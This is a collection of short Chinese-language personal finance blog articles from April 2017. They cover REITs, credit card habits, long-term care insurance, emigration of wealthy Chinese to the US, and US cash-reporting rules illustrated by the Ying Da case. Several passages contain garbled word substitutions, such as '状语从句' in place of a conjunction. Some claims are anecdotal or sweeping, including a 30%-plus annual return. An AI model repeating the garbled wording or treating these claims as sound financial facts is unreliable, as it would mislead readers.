        不动产投资信托由美国国会于1960年年创造,主要是藉由不动产的证券化及许多投资人的资金集资,使没有庞大资本的一般投资人也能以较低门槛参与不动产市场,获得不动产市场交易,租金与增值所带来的获利。

        同时因为不动产投资信托能同时投资多项不动产标准,既可分散风险,又不需要实质持有不动产标准,可在证券市场交易,因此市的流通性远优于不动产。

        美国人最喜欢投资股票,尤其是由运营良好的美国公司的股票构成的投资组合对他们来说是一种可靠的投资选择。多数超级富豪都会拥有一个顾问团队,并会执行一项在最糟情况下也能奏效的投资策略。

        一般水平的富人也会使用专业投资顾问,并建立起一套在顺境与逆境中都管用的投资流程股票市场对美国经济体系的顺利运行至关重要,也许这正是美国富人对股票市场的信心所在吧。

        2017-04-23 / by / in , , ,
        用信用卡,3种情况千万要注意!

        信用卡很方便,不用带很多钱出门,可以攒点数,又能透支。可是常有人用信用卡,一不小心就买了太多东西,害自己还卡债还得很辛苦。日本理财专家指出,用信用卡购物,以下三种情况千万要注意。


        NG:为了点数买买买
        信用卡可以攒点数,积少成多,一年积攒下来也有几千几万点,看着很有成就感。还有一些信用卡公司会搞活动,在一定期间内消费多少额度,就可以赠送额外点数,看起来相当诱人。

        不过专家指出,如果你本来没想买东西,但为了积攒到那个额度去购物,就本末倒置了。

        事实上,有许多还卡债还得很辛苦的人,都是因为想要点数,才开始〝买到要剁手〞的。

        如果你也有因为想要点数而准备买东西,不妨在买之前仔细考虑一次,就会发现多数购物都是不必要的。

        如果即使这样还是忍不住,干脆就每月只用信用卡来支付房租、水电费等固定费用,其他时候用现金,反而会更省钱。

        NG:不知道自己刷了多少钱

        常有人发生去旅行一趟,下个月忽然发现〝咦,卡债怎么这么多〞的情况。旅行的时候很开心,看到什么都忍不住去体验一下,结果不小心就花掉了许多钱。加上因为用信用卡,花出去的钱没什么实感,又有〝反正也是以后才要还〞的心理,就更加没办法掌握金额了。

        有些人虽然勉强还了卡债,但下个月过得超辛苦;也有的人根本还不上卡债。如果还不上卡债,很可能在信用信息上留下黑历史,导致将来要申请房贷的时候没办法通过审查。

        因此,在旅游等要比平时多花钱的时候,一定要做好计画,花钱时掌握自己到底花了多少,并且通过手机网络定时查看自己的帐户余额和卡债,避免余额不够还卡债的情况出现。

        选择分期要注意

        信用卡可以选择分期付款Ribo付款等,所谓Ribo付款,即每月无论花多少都还固定金额的卡债,让你不会面临〝这个月花太多还不上〞的窘境。

        不过专家指出,尽量要避免这种非常方便的支付方式。因为首先,这种支付方式需要花手续费,其次,它会害你根本不知道自己每月花掉多少钱,结果买的东西越来越多。

        专家表示,如果你没办法控制自己花钱,信用卡最好选一次性付清的支付方式,既不需要手续费,也不会让你过度依赖〝将来〞,自然就节约有望了。

        此外,许多信用卡都有可以借现金的服务,但专家说,这个最好也别用。虽然现金很少,但同样会让你养成借贷的习惯,甚至会越借越多。

        2017-04-23 / by / in , ,
        为什么中国富人要移民美国

        根据胡润百富(Hurun Report)最新发布的2016年中国投资移民白皮书显示,一半以上的中国高净值人群计划在未来三年内移民美国,并且已经开始大量投资美国房地产,其主要驱动力不外乎担心人民币贬值、中国房地产泡沫爆发、为下一代创造更好的教育条件等。


        根据胡润百富旗下的胡润研究院与汇加移民(Visas Consulting)10月28日联合发布的《2016年汇加移民.胡润中国投资移民白皮书》(Immigration and the Chinese HNWI 2016)显示,在今年8月-10月对中国240位平均财富2700万元人民币(约合400万美元)中国富人的专项调研中发现,60%的中国富人计划在未来3年内在海外购买投资性住宅。

        担忧人民币贬值

        大约56%的受访者表示,因担心人民币贬值而考虑移民海外。这些高净值人群对美元汇率及海外理财有着相当高的关注度。

        为了分散风险、子女教育和移民需求,目前这些高净值人群的平均海外金融投资额占平均财富的15%左右,而其投资方式则以安全系数较高的外汇存款比例最高,占31%,其次为基金(15%)、保险(13%)。

        根据周五胡润发布的另外一项独立调查显示,人民币自2015年夏季以来已下跌近10%。

        担忧中国房地产泡沫危机爆发

        除了担心人民币贬值外,中国富人也担心中国的房地产泡沫可能会爆发。

        胡润调查显示,随着中国房地产泡沫的不断膨胀,中国富人们已经开始将资金转移至美国、英国、加拿大、澳大利亚等地区的投资性房地产市场。

        原因是在过去的5年中,中国的房价飙升了205%。而在美国,经历了2008年之后的房地产次贷危机之后的美国房市仍然处于复苏期,2016年美国房价的涨幅大约为5%,已是近年来最佳的表现。

        调查发现,美国西部的洛杉矶、旧金山和西雅图已经成为中国富人最为青睐的海外移民置业首选地,其中17.8%的受访者计划移民洛杉矶,旧金山为13.2%,西雅图为12.8%,而纽约则首次跌出前三名,但仍然有11.6%的人选择移民纽约。

        2014年胡润研究院首次对141名高净值中国富人进行此类调查,其结果与今年的相彷,也有60%的中国富人表示将要移民或准备投资海外。

        当年的调查显示,有三个原因推动这些富人移民海外:为子女提供更好的教育机会、担心中国不断增长的污染问题和对国家食品安全的关注。

        2017-04-23 / by / in ,
        红蓝卡不包长期护理 提前规划晚年无忧

        美国满65岁以上就可以申请联邦政府提供的医疗保险,又称红蓝卡,有些人认为只要有红蓝卡,晚年就可以无忧了,其实不然,让我们一起听听专业人士的看法。

        资深财务顾问王馥琼介绍红蓝卡不包括长期护理费用,提前规划购买保险就不会有财务的压力,同时减少儿女负担。


        百家理财资深财务顾问王馥琼:〝在美国70%以上65岁的老人都会早晚用到长期照顾,红蓝卡是负责跟医疗挂钩的,那护理生活中可能是不一定需要治病这种性质,就是属于正常生活起居性质的,红蓝卡一般都是不包的。〞

        如果有了一份保险,一旦年老需要长期护理,这笔钱就由保险公司来支付。
        百家理财资深财务顾问王馥琼:〝最近几年有一种新的方式就是把人寿保险跟长期护理保险两个综合到一起,比如说一位65岁的健康女性,做了一份25万的保险计划,我每个月就强制自己存个四五百块、五六百块钱,我如果需要长期护理了,我就把这25万块钱可以用到自己身上。〞

        以25万额度为例,保险公司支付的护理费用是每年6万美元或每月5000美元。

        百家理财资深财务顾问王馥琼:〝25万的计划大概是一个月5000块左右,另外这笔钱怎么用,有些公司提供的是直接给您现金,您自己决定怎么花,我可以有其他的亲戚朋友,如果双方都愿意,我也愿意给他付工资,那这样的话这笔钱您可以自由来花费。〞

        不仅如此,在其他国家养老同样可以获得保险公司支付的长期护理费用。

        百家理财资深财务顾问王馥琼:〝如果您未来打算在海外养老,比如说台湾、香港、大陆,您有很多的选择机会,只要当地有美国认证的医生,可以给您出具证明,身体检查,第一次的检查或每年的复查,您就不需要往返于美国跟当地之间。〞

        购买保险越早规划越好,如果在40岁或50岁就开始,只要支付较少的费用就可以为自己安排一个幸福的晚年了。

        2017-04-23 / by / in , , ,
        当孩子问,咱家有钱吗,这个爸爸的回答震惊无数父母!

        美国小孩问他的富爸爸:〝我们家有钱吗?〞爸爸回答他:〝我有钱,你没有。我的钱是我自己努力奋斗得来的,将来你也可以通过你的劳动获得金钱。〞


        中国小孩问他的富爸爸:〝我们家有钱吗?〞爸爸回答他:〝我们家有很多钱,将来这些钱都是你的。〞

        美国小孩听了爸爸的话会获得以下几方面的信息:1、自己的爸爸很有钱,但爸爸的钱是爸爸的;2、爸爸的钱是通过努力得来的;3、我如果想有钱,也得通过劳力和努力获得。

        获得了这些信息,这个孩子就会很努力,对人生也会有很多期许。他也想通过努力像爸爸一样获得财富,更重要的是一种精神财富,精神财富会让孩子受益一生。

        中国小孩听了爸爸的话获得的信息是:1、我爸是有钱人,我们家有的是钱;2、我爸的钱就是我的钱;3、我不用努力就已经有很多钱了!

        于是,当孩子长大接手父亲的财富以后,便不会知道珍惜和努力,应了古语的〝富不过三代〞!这位中国爸爸传给自己孩子的仅仅是物质财富,没有精神财富作依托,物质财富是一把〝双刃剑〞。

        不同的回答决定不同的教育,不一样的教育决定不一样的人生。

        很显然,美国爸爸的回答可以帮助一个孩子建立正确的财富观人生观,使其成为一个自食其力的实干家,而中国爸爸的回答只能让孩子成为软弱无能的〝啃老族〞。

        不要对孩子太宠爱,那其实是变相的〝伤害〞。

        父母无私无悔的付出只会导致孩子的无情与无能,溺爱与给予只会让孩子只知索取,不知回报。作为父母,要学会放手,让孩子了解自己的责任和义务,在履行这些责任和义务中成长。与其想着把最好的一切提供给孩子,不如培养孩子追求最好一切的能力。

        教孩子怎么成为一个有钱人,而不是只给他钱。

        你应该告诉孩子:孩子啊,你将会是有钱人。用你的知识赚取更多财富,通过理财创造自己未来的生活,但我的钱跟你没关系。

        所以,当孩子问你同样的问题时,我们也应该像那位美国爸爸一样,告诉他:〝我有钱,你没有。我并不欠你什么。所以,你得靠自己,为了你憧憬的生活努力。而不是无所事事,坐享其成。〞

        那么孩子就会很独立,对人生也会有很多期许;那么你传给孩子的就不仅仅是物质财富,更重要的是一种精神财富。精神财富会让孩子受益一生。

        2017-04-23 / by / in ,
        富人死守的三个秘密

        绝大多数的富豪们,除非他有一个比较有钱的老爸,其余的人基本都是靠自己的努力赚到了钱,并管理自己的财务,学会利用投资理财这把工具才赢得了今天的巨额财富。所以富人们的成功赚钱经验,值得借鉴和学习。为此,专业的理财师表示,平凡人应抓住一切赚钱机会从“小钱”开始,并总结出富人理财死守的三个秘密。


        1、保本第一
        股神巴菲特曾有几句人人皆知的投资三原则:第一条,不要亏钱;第二条,不要亏钱;第三条,牢记前两条。听起来容易,却很少有人做到,而巴菲特做到了。究竟如何做到保本,理财师表示首先投资的资金,最好闲置的资金,就算损失了也不会影响正常生活。其次,要想做到保本,建议选择一些低风险的投资方式;还有定存等。而那些像结构性理财产品、股票类基金、外汇、期货等,风险就较大。

        2、分散投资
        分散投资不仅能降低风险,避免投资造成巨大损失的同时,还能享受收益。对于投资来说,分散风险也是致胜法宝之一。平凡如何做到分散投资,理财师一般在为每个家庭进行资产配置时,都建议采取4321理财法则,即家庭收入的40%用于供房及其他方面投资,30%用于家庭生活开支,20%用于银行存款以备应急之需,10%用于保险。另外,大家还需要根据个人和家庭的财务实际情况以及风险承受能力来选择适合的投资方式,从而最大程度地做到分散投资。

        3、见好就收
        10个股民9个输,为什么?因为绝大多数的人就是由于贪婪,期望获得更大收益,而结果可能只是一个字“输”。而更多的富人就明白这一点“见好就收”,赚到就走人。理财师表示投资应有“见好就收”的心态,蝇头小利也要赚,抓住一切赚钱机会从“小钱”开始,也能赚得大钱!

        2017-04-23 / by / in ,
        存款如何避免〝英达式〞错误

        近期,大陆导演“ 英达 ”被以“ 洗钱状语从句:逃税 ”的罪名,遭到美国政府“指控”。英达目前已和美国“司法机构”了签署认罪协议,并缴纳了超过20万美元的罚款和税款,未来还可能被拒绝入境美国。那么如何避免“英达式错误”,我们用几个关键数字,带您了解。


        1万美元:美国海关规定,无论个人或多人结伴入境,整体携现金超过1万美元,就要填表申报而。英达 1年多内,蚂蚁搬家式带入64万美金。

        1万美元:美国金融机构24小时内接收客户超过1万美元现金,就会要求客户填写8300表,也叫“现金交易报告”而英达把46万美元,分50次存入银行,每次存入9000多美元。刻意分拆回避1万美元上限的痕迹明显。这容易被银行怀疑,并上报国税局。注意,不管现金来源是否合法,拆分现金交易的本身,就可以入罪。

        1万美元:美国纳税人,如果在海外有一个以上金融帐户,一年内任何时间的最高总额超过1万美元,就要填写114表申报,这个规定叫“肥爸条款”同时还有一个“肥咖条款“,也是针对海外资产,规定更为细致,要另外填写8938表格申报。英达存入的46.4万,来自海外收入,但过去没有申报,因此被国税局补征11.3万美元联邦税,以及其他罚金。

        一招规避风险:如实申报,且能解释资金合法来源。

        一个错误的理财观:不少华人为领取低收入福利,或为了少缴税,将大量现金放在银行的保险箱,使银行帐面资金看来很少但其实,如果客户打开保险箱后存取少于1万美元现金,容易引起银行怀疑并上报。

        10万美元。在美国,如果收到海外赠予超过10万美元,要填写3520表申报另外投资移民可用8938表申报海外资产,没错,就是刚才提到的肥咖表,等钱汇到美国时,了就有报税依据。

        一句话总结:隐瞒资金来源以及所有权,被可能认定为洗钱。;偷税漏税,则被视为非法收入两者都面临罚款甚至刑事罪名川普政府对相关执法趋向严格,千万别因小失大。

        2017-04-23 / by / in ,
        长期照护保险 不可或缺的老有所养规划

        现代人越来越懂得养生,注重健康饮食和运动,长寿已经是越来越普遍的现象。也正因为这样,“长期护理保险”成为退休规划中很重要的一部分,也是财务规划中风险管理的一个重要项目在今天的专访中,您带了解。长期照护保险的重要性相关状语从句:申请条件。


        在美国住个像样的疗养院,自费每月开销高达数千美元,几年下来,花费巨大,辛辛苦苦攒下的退休金就这样给了出去。

        专家介绍,长期照护保险,可以把漏财风险转嫁出去,还可以保证自己“老病无人嫌,老有所养”。

        一般来讲,女性用到长期照护保险的机会,比男性多。

        “因为根据统计呢,女性的寿命比男性的寿命长,寿命长的人呢,可能需要用上长期护理的机会就比较多一个男性是58%,女性呢有79%会用上。年龄呢,各个年龄层都有可能会遇上,不是说年轻就不会遇上“。

        既然这么重要,长期护理保险,价格可负担情况如何呢?

        “一般这个长期护理保险呢,我们会加在人寿保险里面,所以比较便宜,如果说你是单独买的话,它那个费用常常会增加,费用很高,但是如果加在人寿保险里面的话,它的费用比较低。万一说没有用上的话,将来最后一笔钱是给受益人的,如果单独买,又没有用上的话,就是浪费了,就是没有了,就像汽车保险一样“。

        专家鼓励民众,尤其是新移民,要尽早了解美国“长期照护保险”的相关情况,为自己的美国生活提供又一重保障。

        2017-04-23 / by / in ,
        了解理财的真谛何在

         

        真谛一:留意看不到的讯息

        在中号型富人的观念中,想致富就像养鱼一样,必须提供它们好环境和一套完善的循环系统,才能让钱有活力,有生命力,然后生生不息,原先的一笔小钱就可能变成摇钱树。


        那么,怎么样才算是好环境和完善的循环系统呢?记得在我小时候,爸爸会替我和弟弟订整年度的邮票,这表示平均每两周我和弟弟都会收到中华邮政寄来的新邮票,然后我们得把它们一张张完美无瑕的放进集邮册里。对小小年纪的我们来说,这份“工作”单纯是为了训练我们的手部和眼光的细腻度。
        有一天,我终于对爸爸提出问题,问他为什么要我们“整理邮票”?我觉得组装模型对提升我和弟弟的脑力和手部发展,应该会更有效率才对。
        但爸爸的回答出乎我意料。他说:“这是投资,以后这些邮票可以卖给集邮者,它们的身价总是随着时代转变而水涨船高。”
        “可是……老爸,这些邮票一印都十几万份,而且到处都买得到,集邮市场又小,谁会跟我买啊?“
        我不骗你,那一瞬间,我看到老爸脸色一阵惨白。我爸爸并不是没有远见的人,只是他 错失了某些重要资讯,以为现在的邮票和以往同样是小量发行,才会为我和弟弟建立一个错误的循环系统。的确,在我爸爸那个年代,集邮生意是一个钱缸,小有积蓄和眼光的人,会把钱“养”在里面,即使不管它,集邮者仍会闻风而来,创造循环。
        可是时代不同了,这个钱缸丧失了独特性,钱养在里面注定会变成死钱。和爸爸的作法不同,从我有记忆以来,母亲除了每天叫我记帐,还叫我看世界新闻,然后问我“看到什么?”
        那时我还是个小毛头,要我去思考“每天要存多少钱,才能在一年内买辆捷安特脚踏车。”以外的问题,真的很头疼(唯一让我感到平衡的是,后来弟弟也难逃母亲的“魔掌”)。所以刚开始时我只会据实以告:“我看到一个人抢劫,结果被警察捉了”,“我看到总统在演讲……
        没想到居然换来母亲一阵赞赏,之后我便时常如法炮制,试图从各个面向,体会那些“看不到的讯息”来获得精神奖励。后来我才知道,这正是母亲要我去发现“钱缸“的方法,当你可以从现有的资讯中归结出未来的走向,那么,拥有不断电系统的钱缸,其实就在你眼前了。

        真谛二:本金留意状语从句:报酬率要创造一个拥有完善循环的钱缸,除了要符合“未来”的需求,以保证后续有源源不绝的推力,让你钱缸里的打气筒持续运作外,第二个准则是,你必须非常了解你的钱缸里一共有多少本金?而它又在多长的时间中创造多少利益?
        在我国小四年级时,我到邻居家中,开始第一份打工──整理草坪,并领到第一笔钱时,母亲问我一个月需要用到多“必要”的钱?也就是只维持生命所需的费用。我当时老实回答大约一千五百元,她,居然将我的收入全部拿走,只留下两千元给我!

        让我连想买一本书都得省吃俭用,精打细算,所以当时说不恨她绝对是骗人的。直到五年后,她给我一份基金报酬率报表,我才知道我的钱被她拿去“养”在世界市场这个大钱缸中,获利率年年都在百分之三十以上,比巴菲特平均年报酬率还高。

        2017-04-23 / by / in ,
        大学毕业生最想去的美国9个城市

        据一份最新的分析报告发现,美国首府华盛顿DC、北卡州夏洛特市(Charlotte)等9个城市吸引了多于本地毕业生的外地大学毕业生移居当地。虽然,多个城市的房租生活费昂贵,但毕业生们最在乎的是找到一份自己喜欢的工作。


        学生贷款公司Credible针对20个美国大城市进行的分析发现,华盛顿DC最能吸引刚毕业几年的大学毕业生,市内外地/本地学生人数比为2.2,也就是说,有本地大学毕业生2.2倍的外地毕业生移居到DC工作。其他八个最能吸引外地大学毕业生的城市及外地/本地毕业生比如下:查洛特(2.17)、丹佛(1.92)、奥勒冈州波特兰(Portland,1.48)、西雅图(1.35)、旧金山(1.22)、加州奥克兰(1.19)、 纽约(1.06)及达拉斯(1.03)。

        然而在Credible公司分析的20个美国大城市中,房租与居民收入比例中间值(median)是19%,而多个受毕业生欢迎的城市的房租/收入比更高。西雅图居民房租/收入比是22%,也就是说居民22%的收入付了房租,纽约市居民收入的21%付了房租。

        西雅图经济学家加德纳对这一现象不感惊讶。他说:“人们会被吸引到一个繁荣的就业市场,不计成本,”“对许多毕业生而言,最重要的是找到一份工作。”

        加德纳说,大学毕业生很难在找到工作和低生活费用之间维持平衡。“高住房成本地区很可能是在就业市场非常强劲的城市,而住房费用较低的地区,就业市场往往不强,”

        即将毕业的Fordham大学学生杰克穆雷(Jack Murray)很同意这一说法。他刚接受了一家位于旧金山的工作。他说:“租金是最让我担心的,”(旧金山的)房租比纽约还贵。“我知道不能够找到与一个不太昂贵的城市一样好的公寓,但这是值得的,我要有一份我想要的工作。”

        虽然今天这九个城市最受毕业生欢迎,但情况有可能改变。 Credible公司执行长达许表示:“这是个简单的供求关系,”“随着越来越多的毕业生移居到这些城市,这些城市将变得更昂贵,很可能将使得新的城市将变得更有吸引力。”

        Credible公司的分析发现,最不吸引外地毕业生的五个城市如下:俄亥俄州哥伦布市(Columbus,0.44)、明尼亚坡利(0.56)、波士顿(0.64)费城(0.73)及圣地亚哥(0.74)。

        2017-04-23 / by / in , ,
        美国初中生真实体验如何理财

        当孩子大手大脚花钱的时候,父母总会对他们说:“钱不是从树上长出来的。”从1965年开始,这个名为青年成就(Junior Achievement,简称JA)的组织就开始与当地企业合作,教各个年龄层的学生有关钱的知识:钱从哪里来以及如何理财。美国之音记者跟随一群初中生体验了一把。这些青少年在几个小时的时间里有机会像父母那样挣钱、而且还要自己拿主意是花钱还是存钱。


        这不是普通的教学日,但是这些初中生来在青年成就金融乐园所学的东西将让他们受用一生。
        乐园设计得像一个购物广场。

        青年成就大华盛顿地区分部的艾德·格雷尼尔说:“我们让来这里的学生觉得有趣和有互动。”

        在他们去商店之前,他们先在这里学习怎样做个大人,而他们在一天里都要扮演这个角色。

        格雷尼尔说:“我们给他们一个真实情景,有的人是42岁,已婚、有3个孩子,挣了那么多钱,然后他们要在一天里做出月预算。”

        八年级学生葆拉·范图拉的角色是:“我是个单身母亲,有两个孩子,34岁。”

        每个学生都能拿到一个平板电脑用来制定全家人的预算。一路下来不断感到意外。

        范图拉说: “我们要在医保、保险等一些东西上花一笔钱。我知道这不容易,但我妈妈花钱的时候我从来没问过是什么钱,也从来没怎么注意过。”

        学生们来这里现场学习体验之前,已经学完了14个小时的深入的金融知识课程,学习了预算、银行、信贷和税收等知识。

        青年成就大华盛顿地区分部的格雷尼尔说:“美国有450万学生。全世界有近1000万的学生在学习金融知识。”

        这个项目是与第一资本银行进行的合作。

        第一资本发言人瑞恩·斯马特说:“我们确实认为,金融知识和读写同样重要。算术是教育的核心组成部分之一,是学生未来成功所必须的。”

        第一资本的员工担任指导老师。

        八年级学生默罕默德·阿巴斯说:“管理账单和支票比看起来要难。”

        默罕默德说,他很高兴,自己在几个月后的暑期打工开始前上了这些课。

        他说:“我学会不要乱花钱。新的东西并不一定是更好的。”

        而且花的比挣的少总是好的。这也是项目组织者希望这些孩子在今后的人生中能够记住的。

        2017-04-22 / by / in , , ,
        美国大学毕业生工作前景亮丽 公司招聘增5.2%

        今年毕业的美国大学生鸿运当头,因为越来越多的公司正计划招聘更多的毕业生。美国大学和雇主协会说,美国公司今年招聘新毕业生的人数将比去年多5.2%。


        据Harris Poll公司为求职网站CareerBuilder做的一项调查发现,67%的雇主今年计划增加招聘新毕业生,比去年多了2%,也是自2007年以来最多的。

        但影响美国经济就业增长的因素也可能影响公司的招聘计划。去年秋天,美国公司曾计划增加招聘11%的新毕业生,但由于2016年初艰难的开端,他们削减了计划。

        虽然股市目前已经收复了今年初的大部分失地,但经济学家最近调低了他们对经济和就业增长的预期,理由是市场的波动和消费者开始谨慎花钱。

        象星巴克、谷歌的母公司Alphabet以及Verizon,最近一个季度都报告了比去年同期更好的业绩。但是他们都没有达到一些分析师预期的增长,说明某些行业被打击得比预计的要严重。

        思科公司的学院关系主任琼斯(Kelly Jones)女士说,该公司今年计划比去年多招聘几十名新毕业生。截至4月19日,思科已经填补了957个初级职位,而去年同期是900个。琼斯预计,到今年夏天思科将会招聘1000至1200名新毕业生。去年8月思科曾经预计在2016年将招聘1350名新毕业生,但由于随后的公司结构重组,计划被消减。

        IBM去年招聘了7万人,其中新毕业生的比例在增加。IBM人才资源副总裁戈登(Carol Gordon)表示,去年招聘的人中新毕业生的比例比前几年都高,因为公司更加注重“认知计算”和云端技术。

        通用电器去年的校园招聘保持在1.1万人不变。公司全球大学人才招聘主任柯尼(Leslie Coyne)女士说,通用电器现在更注重招聘数字化技术的人才,包括计算机专业的。

        随着雇主竞相吸引优秀毕业生,初级职位的工资也在上涨。根据CareerBuilder对2000名招聘经理的调查 ,37%的雇主计划增加新招毕业生的工资。27%的被调查经理说,他们招聘的起始工资不低于年薪5万美元。

        咨询公司Accenture  PLC的人才资源主管舒克(Ellyn Shook)女士说,该公司大约37.3万名雇员中有72%的是千禧代,在过去的5年里在世界许多地区的平均起始工资都上涨了。

        美国大学和雇主协会说,公司在招聘更多新毕业生的同时,却计划减少聘用实习生和合作教育学生(co-op)。该协会估计,今年聘用实习生将减少4.8%,合作教育学生将减少9.9%。

        2017-04-22 / by / in , , ,
        美国投资秘诀 理财专家来分析

        曾铮:让我们直接进入今天的主题如果我有50万或100万美元在。美国投资,有哪些选择?


        LPL金融公司财富管理顾问基恩:西恩和我在理财业有19年的经验。我们提出具体建议之前,都会坐下来了解客户需求,他们的中期和长期目标根据多项参数,例如,投资期限,个人风险承受能力等,提供投资方案,把资金放在多种资产类别上。资产的多样化,更能针对客户需求,而且要减少市场波动,提高投资回报。

        曾铮:我们知道,贵公司在金融危机两年后,于2010年上市当时,很多大牌公司已经破产,向政府求救你们成功的。秘诀的英文什么?

        LPL金融公司财富管理顾问西恩:成功的主要原因之一,我们是独立的咨询顾问,以客户的最佳利益为主,不是非得卖所谓的“金融产品”,也不是以公司利益为主,所以我们的业务一直在增长。

        曾铮:我们知道,近年很多中国人来美国购买物业,把美国作为投资的避风港除了投资置产,还有什么其他选择?

        LPL金融公司财富管理顾问基恩:你说的对。美国房地产市场一直被看作是较安全的,应该是亚洲和海外客户的“避风港”,我们是第一个意识到,把部分资金,我强调“部分资金”,投资到特定行业受益的公司。当我们早期扩大业务时,投资多样化的益处是显而易见的。因此,肖恩和我,当我们坐在下来,了解客户中期和长期需求时,我们是第一个提倡投资分配益处的,投到市场的其他领域,其他资产类和使用其他策略,例如商品交易,在过去的几年中做的很好,由于石油价格的原因,稀有和不稀有金属等等,管理期货,篮子货币,让我们达到我们一开始的目标,就是减少投资波动性,随着时间的推移,提高投资的回报率。

         

         

        2017-04-22 / by / in ,
        世界顶级富豪送给子女的8条理财箴言

        一个人成功需要不懈的努力,世界顶级富豪各自有切实可行的成功商道。他们送给子女的8条理财箴言,能使人了解其成功的经典法则。


        一、罗杰斯(Jim Rogers):储蓄比借款重要的多


        罗杰斯(维基百科)

        作为美国著名投资人、经济分析师、大学教授及作家,罗杰斯曾与索罗斯共同创立量子基金,以投资于商品期货闻名,有〝商品大王〞之称。

        他的女儿虽是美国公民,却没有美国银行帐号,但在亚洲开设银行帐号。很早接触不同国家的货币,了解外汇汇率变动的概念。她们必须使用自己的钱买东西,懂得储蓄比借款重要的多。

        二、洛克菲勒家族:14条洛氏零用钱备忘录


        洛克菲勒一世(维基百科)

        每周给零花钱1美元50美分,最高不得超过每周2美元。每周须核对账目,要记住每笔支出的用途。领钱时交家长审查,钱账清楚,用途正当,下周增发10美分,反之则减。洛克菲勒通过这种办法,使孩子从小养成不乱花钱的习惯,学会精打细算、当家理财的本领。他们的后人成年后都成为企业经营能手。

        三、李嘉诚:苦难是最好的学校


        李嘉诚(维基百科)

        李嘉诚认为父母采取不同的教育方法,对下一代的将来影响很大。李嘉诚每次给孩子零花钱时,先按10%的比例扣下一部分,名曰所得税。这样,小孩在花钱时不得不事前进行仔细盘算,做一个全盘和长远考量。当在外地读书时,李嘉诚给孩子开了两个银行账户,其中一个账户上的钱他们绝对不能动用,这些是准备给他们完成博士课程的费用。要使用另一个账户的金钱,他们必须以书信形式向李嘉诚报告,他会在24小时内回复。后来因为功课太忙,才接受他们改用电话说明。

        四、比尔・盖茨(Bill Gates):遗产分配再富也不能富孩子


        比尔・盖茨(维基百科)

        基于金钱可能对孩子带来的伤害,盖茨同当今世界的许多富人一样遵循再富不能富孩子的教育原则,宁愿将钱捐献给社会也不愿多给一分钱让孩子去挥霍。盖茨曾经说过:当你有了1亿美元的时候,你就明白钱不过是一种符号。盖茨和他的妻子近5年向社会捐款高达10亿美元以上。对社会如此慷慨大方,对子女则吝啬。盖茨公开宣布:我不会给我的继承人留下很多钱,这对他们没有好处。

        五、巴菲特(Warren Buffett):太好的事情未必是真的


        巴菲特(维基百科)

        〝如果一件事感觉太好而不像是真的,那么它可能真是这样的。就如同抽奖广告告诉人们的一样,一元钱抽大将,百抽百中。真的有这么好吗?想想看,如果每个人用一元钱就能抽个大奖回家,那么商家怎么赚钱呢?〞

        六、山姆・沃尔顿(Sam Walton):教孩子自己挣零花钱


        山姆・沃尔顿(网络图片)

        与同龄的孩子不同,老沃尔顿不给孩子们零花钱,并要求他们自己挣。那时四个孩子开始帮父亲干活,他们跪在商店地上擦地板,修补漏雨的房顶,夜间帮助卸车。父亲付给他们的工钱同工人们一样多。罗布森作为沃尔顿家四个孩子的老大,刚成年就考取了驾驶执照,接着就在夜间向各个零售点运送商品。

        七、盛田昭夫:只有〝纯真〞并不够


        盛田昭夫(网络图片)

        许多父母怕孩子染上贪钱的恶习,就不让孩子沾上金钱的边。在充满竞争和风险的社会中,如此〝纯真〞很容易被淘汰。已去世的索尼公司创始人盛田昭夫,刚懂事时其父就告诉他:你是家中的长子,未来的米酒商。盛田昭夫从小就被当作家产继承人来培养,逐渐变得精明能干,学会了精打细算,后来终成大器。

        八、波音(William Boeing):旧的不去新的不来


        波音(维基百科)

        很多人敝帚自珍,以为这样节约能省钱,美国波音公司创始人波音却对他的子女说:〝旧的不去新的不来,如果你有买新东西的欲望,你就有拚命工作的动力,扔掉旧东西反而能刺激人更多地创造财富。〞的确,家庭理财中一味节省用旧物的精力,倒不如用来努力挣新的。

        2017-04-22 / by / in ,
        比上哈佛更难的事情──在哈佛附近买房子

        Remax Destiny的房屋经纪人史蒂芬·兰金(Stephen Rankin)说,“哈佛大学是直接影响剑桥房价走势的火车头,哈佛大学在全美高校的排名上升与这里的房价涨幅直接相关。”兰金这一形象的描述,正是哈佛大学所在地——马萨诸塞州剑桥市(Cambridge, Massachusetts)楼市的真实反映。


        据英国《金融时报》报导,几百年来静静坐落在马萨诸塞州剑桥市哈佛大学犹如当地一枚闪闪发光的宝石,照耀着这块繁荣兴旺的“福地”。

        这不仅仅是因为哈佛大学获得冠绝全球的376亿美元捐款,或者每年每个学生高达6万3025美元的学费。更为重要的是,根据麻省房地产经纪人协会(Massachusetts Association of Realtors)的统计:剑桥市今年3月的单户住宅房价中位价达222万美元,与去年3月相比飚涨了45. 9%。

        位于哈佛大学校门口的哈佛广场(Harvard Square)通常被视为整座城市的中心,这里云集各种书店以及人头攒动的咖啡屋。哈佛广场到处是大学生及上班族,是剑桥最知名的旅游景点,也是购房族趋之若鹜的地方。

        据房地产网站Trulia数据,整个剑桥市的人口大约是10.7万人,其中受大学教育的人口高达80%,人口平均年龄为34岁,每户平均年收入为74,194美元,60%为单身。

        越靠近哈佛大学的房产,无论是独立屋、排屋还是公寓,其价格也就越高,租金也越贵。

        科威国际不动产(Coldwell Banker)代理的一套毗邻哈佛广场的一套2600平方英尺的三卧独立住宅,售价高达238万美元。

        距离哈佛广场不到一英里的西北方向的沃克街(Walker Street),一栋建于1880年的翻新五卧住宅,挂牌价为375万美元;在罗伯特路(Roberts Road),一套三卧的排屋挂牌价为115万美元。这些都是科威国际不动产代理的房产。

        而在康维街(Kenway Street)RE/MAX代理的一处始建于1903年,但已经翻新过的四卧住宅,挂牌价为195万美元。

        就连本以为较便宜的公寓房,价格也不菲。据省房地产经纪人协会的数据,2015年剑桥公寓的售价中间价是62.5万美元,自2010年来,五年内飙升了47%。剑桥的租金在同期则飙升了35%。

        在科威国际不动产做地产代理超过25年的罗伯茨(Gail Roberts)表示,每天接到来自亚洲、欧洲买家的电话不断打进来,因为很多父母希望能给即将到哈佛读大学的孩子买公寓而不是租,因为剑桥的房价和租金都在同步上涨。

        另一项根据房地产销售网站Zillow的统计,目前剑桥市的整体平均房产价值(Home Value)是667,100美元,比起一年前上涨了7.6%;每平方尺售价是693美元,比起波士顿的都市区还要高出248美元。但是实际上,剑桥市目前挂牌销售的房价中间价(Listing Price)是744,500美元;租金中间价是2895美元,比起波士顿都市区的中间价2500美元也高出395美元。

